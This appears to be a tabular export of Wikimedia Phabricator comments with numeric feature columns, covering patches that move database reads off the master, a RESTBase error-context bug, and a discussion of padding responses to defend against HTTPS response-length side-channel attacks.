",,,1427315079,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.7857142857142856,0.8928571428571429,"Change 199679 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on edit form views

[[GERRIT_URL]]
"
431837,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 199175 merged by jenkins-bot:
Allow callers to load user objects from slaves if desired

[[https://gerrit.wikimedia.org/r/199175]]",,,1427224344,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.88,0.92,"Change 199175 merged by jenkins-bot:
Allow callers to load user objects from slaves if desired

[[GERRIT_URL]]"
431408,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 199175 had a related patch set uploaded (by Aaron Schulz):
Allow callers to load user objects from slaves if desired

[[https://gerrit.wikimedia.org/r/199175]]
",,,1427157559,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,13.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.903225806451613,0.9032258064516129,"Change 199175 had a related patch set uploaded (by Aaron Schulz):
Allow callers to load user objects from slaves if desired

[[GERRIT_URL]]
"
427890,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 197392 merged by jenkins-bot:
Avoid master queries on page view for block checks

[[https://gerrit.wikimedia.org/r/197392]]",,,1426619268,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.7916666666666665,0.9166666666666666,"Change 197392 merged by jenkins-bot:
Avoid master queries on page view for block checks

[[GERRIT_URL]]"
427888,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 197392 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on page view for block checks

[[https://gerrit.wikimedia.org/r/197392]]
",,,1426619070,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8333333333333335,0.9,"Change 197392 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on page view for block checks

[[GERRIT_URL]]
"
426248,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 196507 merged by jenkins-bot:
Made getNewtalk use slaves instead of cache/master

[[https://gerrit.wikimedia.org/r/196507]]",,,1426283630,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.875,0.9166666666666666,"Change 196507 merged by jenkins-bot:
Made getNewtalk use slaves instead of cache/master

[[GERRIT_URL]]"
425762,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 196507 had a related patch set uploaded (by Aaron Schulz):
Made getNewtalk use slaves instead of cache/master

[[https://gerrit.wikimedia.org/r/196507]]
",,,1426208806,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.9,0.9,"Change 196507 had a related patch set uploaded (by Aaron Schulz):
Made getNewtalk use slaves instead of cache/master

[[GERRIT_URL]]
"
425636,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 195837 merged by jenkins-bot:
Avoid excess master queries in getTimestampFromId

[[https://gerrit.wikimedia.org/r/195837]]",,,1426197653,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.428571428571429,0.9047619047619048,"Change 195837 merged by jenkins-bot:
Avoid excess master queries in getTimestampFromId

[[GERRIT_URL]]"
424757,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 195845 merged by jenkins-bot:
Avoid pointless block table master queries

[[https://gerrit.wikimedia.org/r/195845]]",,,1426103975,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.095238095238095,0.9047619047619048,"Change 195845 merged by jenkins-bot:
Avoid pointless block table master queries

[[GERRIT_URL]]"
424334,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 195845 had a related patch set uploaded (by Aaron Schulz):
Avoid pointless block table master queries

[[https://gerrit.wikimedia.org/r/195845]]
",,,1426048977,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.074074074074074,0.8888888888888888,"Change 195845 had a related patch set uploaded (by Aaron Schulz):
Avoid pointless block table master queries

[[GERRIT_URL]]
"
424313,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 195837 had a related patch set uploaded (by Aaron Schulz):
Avoid excess master queries in getTimestampFromId

[[https://gerrit.wikimedia.org/r/195837]]
",,,1426044811,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.333333333333333,0.8888888888888888,"Change 195837 had a related patch set uploaded (by Aaron Schulz):
Avoid excess master queries in getTimestampFromId

[[GERRIT_URL]]
"
92356,propagated external HTTP request exceptions are missing needed context,"When RESTBase makes external requests that fail, the resulting (wrapped) exception is void of useful context, and less helpful as a result.

Example:

```
Error: ETIMEDOUT
    at null._onTimeout (/srv/deployment/restbase/deploy/node_modules/request/request.js:909:15)
    at Timer.listOnTimeout [as ontimeout] (timers.js:110:15)
```
",Medium,50.0,1426042283,1426440970.0,PHID-USER-7mtggupugbd5i55vuvdc,False,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-TASK-wdvxtfzkxvrfaqvprs5e,task_description,resolved,True,c3,1,False,False,True,-17,True,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,5.0,3.0,11.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,3.0,3.0,0.0,0.0,3.7567567567567566,0.8648648648648649,"When RESTBase makes external requests that fail, the resulting (wrapped) exception is void of useful context, and less helpful as a result.

Example:

``CODE``
"
426619,propagated external HTTP request exceptions are missing needed context,Fixed by https://github.com/wikimedia/restbase/commit/52e152f9b5a9d59c38442d157236a96c48a2bd78. Closing.,,,1426440970,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-wdvxtfzkxvrfaqvprs5e,task_subcomment,,True,c3,1,True,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,Fixed by URL Closing.
92298,Investigate our mitigation strategy for HTTPS response length attacks,"There have been a number of (possibly still theoretical) attacks to HTTPS during which an adversary can guess which pages are being visited merely by looking at the response length. This has been mitigated by other websites in various ways, e.g. Twitter profile pictures are put into certain specific size buckets.

We are particularly affected as our pages' content is a) all public and explorable via dumps, making it easier for the attacker to experiment and precompute, b) static and identical in most cases (anonymous users), b) text, assets, images are split into separate IPs and hence different TLS sessions, which both removes a randomized factor and creates even more unique combinations of traffic patterns.

To mitigate this kind of an attack we have to pad our responses up to certain (unguessable) sizes. There's a number of considerations that need to explored before doing so:
- As @csteipp points out, even a bucket classification won't be enough, as there are still enough bits of information there to make educated guesses based on click path behavior.
- Padding the HTML with e.g. zeros will be ineffective, as gzip compression will remove most of it from there. We could pad the HTML with random garbage, though, that wouldn't be defeated by gzip.
- Padding the HTML means that we'd have to pad other resources separately, some of which aren't even being served from MediaWiki (e.g. images/Swift).
- Padding to specific bucket sizes removes the precomputation-from-dumps factor but does not insert any randomness into the process. A padded text page + its associated, padded, images could still provide enough bits of information to figure out the page visited.
- Padding obviously increases the content size and comes with obvious performance issues; it's essentially a security/performance tradeoff. Depending on which piece of infrastructure it actually happens, it might also increase storage and/or cache size needed.

So far, it seems more likely that something that we could apply on the edge (either Varnish or nginx) and, potentially make it both bucket-based but with random placement, per request, would be the best strategy. It remains unknown if a) it's possible to pad a gzip response with zeros or garbage but still have it being parsed properly by UAs, b) if it's feasible to pad with HTTP headers and how many/lengthy these should be.",Medium,50.0,1426011615,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,False,PHID-TASK-gtozsuz2f75mxny3ybyw,task_description,open,True,c3,1,True,False,,-17,True,0.8,0.2,0.0,1.8,0.8,7.6,1.0,0.0,0.2,0.4,1.8,1.0,0.0,0.2,0.6,1.4,0.0,7.0,11.8,0.2,1.8,0.2,0.0,0.0,0.6,0.2,0.6,0.2,1.0,1.0,0.0,5.2,0.6,2.4,0.0,0.0,0.2,0.2,0.6,0.2,0.0,0.0,0.0,2.4,1.0,0.4,0.0,0.2,0.2,15.4,0.6,0.4,0.0,0.8,0.2,0.2,0.2,0.4,0.6,0.2,0.2,1.4,0.0,0.0,0.0,0.2,0.2,4.2,3.4,5.4,1.0,3.4,7.0,0.0,0.0,0.0,0.0,5.2,0.0,0.0,0.0,4.0,11.8,2.0,0.0,0.2,0.0,4.0,0.0,1.6,2.0,0.0,0.8,0.6,0.6,0.8,4.275772134522993,0.7728437428506064,"There have been a number of (possibly still theoretical) attacks to HTTPS during which an adversary can guess which pages are being visited merely by looking at the response length. This has been mitigated by other websites in various ways, e.g. Twitter profile pictures are put into certain specific size buckets.

We are particularly affected as our pages' content is a) all public and explorable via dumps, making it easier for the attacker to experiment and precompute, b) static and identical in most cases (anonymous users), b) text, assets, images are split into separate IPs and hence different TLS sessions, which both removes a randomized factor and creates even more unique combinations of traffic patterns.

To mitigate this kind of an attack we have to pad our responses up to certain (unguessable) sizes. There's a number of considerations that need to explored before doing so:
- AsSCREEN_NAME points out, even a bucket classification won't be enough, as there are still enough bits of information there to make educated guesses based on click path behavior.
- Padding the HTML with e.g. zeros will be ineffective, as gzip compression will remove most of it from there. We could pad the HTML with random garbage, though, that wouldn't be defeated by gzip.
- Padding the HTML means that we'd have to pad other resources separately, some of which aren't even being served from MediaWiki (e.g. images/Swift).
- Padding to specific bucket sizes removes the precomputation-from-dumps factor but does not insert any randomness into the process. A padded text page + its associated, padded, images could still provide enough bits of information to figure out the page visited.
- Padding obviously increases the content size and comes with obvious performance issues; it's essentially a security/performance tradeoff. Depending on which piece of infrastructure it actually happens, it might also increase storage and/or cache size needed.

So far, it seems more likely that something that we could apply on the edge (either Varnish or nginx) and, potentially make it both bucket-based but with random placement, per request, would be the best strategy. It remains unknown if a) it's possible to pad a gzip response with zeros or garbage but still have it being parsed properly by UAs, b) if it's feasible to pad with HTTP headers and how many/lengthy these should be."
2025736,Investigate our mitigation strategy for HTTPS response length attacks,"(The Tangled Web is a 2012 by Michal Zalewski)

Good find. I don't think he's explicitly trying to call out Wikipedia, just listing it as an example of public resource.

Interestingly, the next phrase provides the study https://www.microsoft.com/en-us/research/publication/side-channel-leaks-in-web-applications-a-reality-today-a-challenge-tomorrow/ where they found actual information leaks in real high-profile websites.

It's  probably out of reach to fix this for users with images enabled. It may be possible to //bucketize// the served html for the articles, though.",,,1669591798,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,3,False,,,386,True,0.0,0.0,0.0,0.0,1.0,8.0,2.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,14.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,8.0,2.0,13.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,6.0,14.0,4.0,0.0,0.0,0.0,6.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,4.043010752688172,0.8064516129032258,"(The Tangled Web is a 2012 by Michal Zalewski)

Good find. I don't think he's explicitly trying to call out Wikipedia, just listing it as an example of public resource.

Interestingly, the next phrase provides the study URL where they found actual information leaks in real high-profile websites.

It's  probably out of reach to fix this for users with images enabled. It may be possible to //bucketize// the served html for the articles, though."
2025698,Investigate our mitigation strategy for HTTPS response length attacks,"I just want to mention I saw this attack being exampled in a book about web security with Wikipedia explicitly mentioned as a vulnerable case.
> it is worth noting that although HTTPS as such is a sound scheme that resists both passive and active attackers, it does very little to hide the evidence of access to a priori public information. It does not mask the rough HTTP request and response sizes, traffic directions, and timing patterns in a typical browsing session, thus making it possible for unsophisticated, passive attackers to figure out, for example, which embarrassing page on Wikipedia is being viewed by the victim over an encrypted channel.

The tangled web. Page 65",,,1669564501,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,3,False,,,386,True,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,14.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.171428571428572,0.8857142857142857,"I just want to mention I saw this attack being exampled in a book about web security with Wikipedia explicitly mentioned as a vulnerable case.
QUOTE

The tangled web. Page 65"
1797580,Investigate our mitigation strategy for HTTPS response length attacks,"The swap of #Traffic for #Traffic-Icebox in this ticket's set of tags was based on a bulk action for all tickets that aren't are neither part of our current planned work nor clearly a recent, higher-priority emergent issue. This is simply one step in a larger task cleanup effort. Further triage of these tickets (and especially, organizing future potential project ideas from them into a new medium) will occur afterwards! For more detail, have a look at the extended explanation on the main page of Traffic-Icebox . Thank you!",,,1633723502,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,3,True,,,327,True,0.5,0.0,0.0,0.5,0.5,10.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,1.0,4.0,10.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,3.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,1.0,1.0,2.0,0.0,0.0,0.0,0.5,0.0,15.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,6.0,2.0,7.0,0.0,1.5,8.5,0.0,0.0,2.0,1.0,1.0,0.0,0.5,0.0,2.5,10.5,3.0,0.0,0.0,0.0,2.5,0.0,0.5,4.0,1.0,1.0,2.5,0.0,0.0,4.074074074074074,0.8518518518518519,"The swap of #Traffic for #Traffic-Icebox in this ticket's set of tags was based on a bulk action for all tickets that aren't are neither part of our current planned work nor clearly a recent, higher-priority emergent issue. This is simply one step in a larger task cleanup effort. Further triage of these tickets (and especially, organizing future potential project ideas from them into a new medium) will occur afterwards! For more detail, have a look at the extended explanation on the main page of Traffic-Icebox . Thank you!"
1697414,Investigate our mitigation strategy for HTTPS response length attacks,">>! In T92298#2795655, @BBlack wrote:
> 
> My current thinking on this is that it's best to wait on TLSv1.3's padding mechanism to be available.  It's in the current draft at: https://tools.ietf.org/html/draft-ietf-tls-tls13-18#section-5.4

Subtask T170567 was resolved, and the approved IETF document shows that section more or less in tact <https://tools.ietf.org/html/rfc8446#section-5.4>.",,,1617393753,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,3,True,,,300,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,27.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,4.115384615384615,0.8846153846153846,"QUOTE
QUOTE
QUOTE

Subtask T170567 was resolved, and the approved IETF document shows that section more or less in tact <URL"
1314836,Investigate our mitigation strategy for HTTPS response length attacks,">>! In T92298#5329217, @Legoktm wrote:
> Do we support TLS 1.3 yet? I'm apparently connecting over 1.2 still.

No -- {T170567}",,,1562956892,,PHID-USER-6b6w5qogf4deywgbkuzs,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,3,False,,,210,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.888888888888889,0.8888888888888888,"QUOTE
QUOTE

No -- {T170567}"
1314829,Investigate our mitigation strategy for HTTPS response length attacks,">>! In T92298#2795655, @BBlack wrote:
> 
> My current thinking on this is that it's best to wait on TLSv1.3's padding mechanism to be available.  It's in the current draft at: https://tools.ietf.org/html/draft-ietf-tls-tls13-18#section-5.4

That is now https://tools.ietf.org/html/rfc8446#section-5.4 in the approved RfC.

Do we support TLS 1.3 yet? I'm apparently connecting over 1.2 still.

{F29750833}

> Note that TLSv1.3 doesn't include anything about bucketing or randomization strategies, it simply provides a mechanism for padding to be injected at the TLS layer, to be controlled by logic that's outside of the TLS spec's scope.  At that point we'll probably still need to look at the TLS library and/or server and possibly patch them (currently OpenSSL+nginx, but could change by then).

For openssl, I believe this is possible with https://www.openssl.org/docs/man1.1.1/man3/SSL_set_block_padding.html
",,,1562956571,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,3,True,,,210,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,2.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,29.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,6.0,8.0,6.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5416666666666665,0.75,"QUOTE
QUOTE
QUOTE

That is now URL in the approved RfC.

